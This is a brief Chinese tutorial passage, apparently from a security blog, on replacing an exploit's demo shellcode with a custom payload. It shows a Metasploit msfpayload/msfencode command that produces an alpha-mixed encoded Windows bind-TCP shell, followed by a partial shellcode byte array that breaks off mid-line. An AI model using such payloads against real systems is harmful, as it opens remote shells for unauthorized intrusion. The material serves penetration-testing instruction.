SHELLCODE就是溢出程序的后门。
一个TCP反弹后门,如果某些EXP上的是弹出记事本 我们改如何生成自己想要的SHELLCODE?
首先你要熟悉http://helen.dis9.com/?p=8 (METASPLOIT的PAYLOAD)
我们来生成一个 打开UB 1
生成BIND SHELL吧:
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root@Dis9Team:~# msfpayload windows/shell/bind_tcp R | ./msfencode -e x86/alpha_mixed [*] x86/alpha_mixed succeeded with size 659 (iteration=1) unsigned char buf[] = "\x89\xe2\xdb\xdb\xd9\x72\xf4\x59\x49\x49\x49\x49\x49\x49\x49" "\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41" "\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42" "\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x4b" "\x4c\x4d\x38\x4c\x49\x45\x50\x45\x50\x45\x50\x43\x50\x4d\x59" "\x4d\x35\x50\x31\x49\x42\x42\x44\x4c\x4b\x50\x5 |